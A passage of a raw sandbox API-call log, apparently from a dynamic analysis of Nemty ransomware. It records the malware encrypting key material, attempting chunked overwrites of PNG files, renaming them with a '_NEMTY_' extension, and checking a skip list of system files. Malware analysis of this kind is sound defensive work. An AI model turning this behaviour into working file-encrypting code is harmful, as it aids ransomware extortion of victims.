out: pszString=0x0, pcchString=0x653e91c) returned 1 [0144.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340270 [0144.626] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340270, pcchString=0x653e91c | out: pszString="mmmm7lBE5QAFvvSLm1PDa5eLBqMlCMhVPnz3lXFJmTKg2HCCY1JVXaO/6usd7Ujq\r\nHx4kAxCbYL35pEFELgfAkSljx4AOs+aZbmCSRk2UL77qOcNBAA8phYQojOlhGHId\r\nskAzbh1fH0+AhFi3MCuJIeZipHin+tx2PpMSi9se1EmCBMYZkyuDqYbBQc3qNGgu\r\nCzhDpIV/h3pAsDq8LuDKLYW92b1Pm5mwd4vgJbwj/5v5x9abr4/5nRYGtkMoPjBH\r\noMtkPOFyDLlQxVnHl/gFkmDo5iiRkk8yPtZCcfEWHV4Ltu+3ow/KKTcxbc3GIksw\r\nAdMTJ/+5SiMG4UE33Eg5pw==\r\n", pcchString=0x653e91c) returned 1 [0144.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0144.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0144.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0144.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340270 [0144.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0144.626] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_on.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.627] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0144.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0144.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340270, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.734] CloseHandle (hObject=0xffffffff) returned 0 [0144.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403e0 [0144.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0144.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_on.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonUp_On.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttonup_on.png._nemty_kgobjgd_")) returned 0 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0144.735] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f5ce6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f5ce6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce74de7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x112b, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="flyoutBack.png", cAlternateFileName="")) returned 1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".") returned 1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="..") returned 1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="...") returned 1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="windows") returned -1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="$RECYCLE.BIN") returned 1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="rsa") returned -1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="NTDETECT.COM") returned -1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="ntldr") returned -1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="MSDOS.SYS") returned -1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="IO.SYS") returned -1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="boot.ini") returned 1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="boot.ini") returned 1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="AUTOEXEC.BAT") returned 1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="ntuser.dat") returned -1 [0144.735] lstrcmpiW (lpString1="flyoutBack.png", lpString2="desktop.ini") returned 1 [0144.736] lstrcmpiW (lpString1="flyoutBack.png", lpString2="CONFIG.SYS") returned 1 [0144.736] lstrcmpiW (lpString1="flyoutBack.png", lpString2="RECYCLER") returned -1 [0144.736] lstrcmpiW (lpString1="flyoutBack.png", lpString2="BOOTSECT.BAK") returned 1 [0144.736] lstrcmpiW (lpString1="flyoutBack.png", lpString2="bootmgr") returned 1 [0144.736] lstrcmpiW (lpString1="flyoutBack.png", lpString2="programdata") returned -1 [0144.736] lstrcmpiW (lpString1="flyoutBack.png", lpString2="appdata") returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyoutBack.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0144.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyoutBack.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyoutBack.png", lpUsedDefaultChar=0x0) returned 14 [0144.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyoutBack.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0144.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyoutBack.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyoutBack.png", lpUsedDefaultChar=0x0) returned 14 [0144.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyoutBack.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0144.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyoutBack.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyoutBack.png", lpUsedDefaultChar=0x0) returned 14 [0144.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyoutBack.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0144.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyoutBack.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyoutBack.png", lpUsedDefaultChar=0x0) returned 14 [0144.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0144.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0144.736] Sleep (dwMilliseconds=0x5) [0144.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9ecbb50, dwHighDateTime=0x1d561e8)) [0144.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9ecbb50, dwHighDateTime=0x1d561e8)) [0144.750] GetLastError () returned 0x5 [0144.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.750] GetLastError () returned 0x5 [0144.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0144.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0144.751] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0144.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0144.751] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="pjRnUVkRORCpo7SyMQtryn4mPKjwu6iFmOFcVhj1HrngpzubrLa4Nl/iYZzT2n8B\r\nSnwUwFwW6XVx1myNhrReof9t4o6cJOqxsW54QnmwDEsVa7a0bNU1n0UWKDA9Uc/P\r\nkVPFfIKniQsHV5dEj0K3KuQ51R2lxN0Z8cCWGFRBB4iNlKd9uRR9omA8KWF3VOe0\r\nN8VTXIJSOSqb+HfVbJ7bkQ6EalMGMufbZo1rlXCHzJ3N/JU8fA1Yn5i15YklgL34\r\nDfUXDhfJ8yDNsXtl2BaDC1t8vB8yyo9OpGvKxvJPRs2yz5eetEn+4/5XHTgcEc99\r\nZYWzCnsXDxbtxzaC+VN7eQ==\r\n", pcchString=0x653e91c) returned 1 [0144.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0144.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0144.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0144.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0144.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0144.751] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\flyoutBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\flyoutback.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.751] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0144.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0144.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 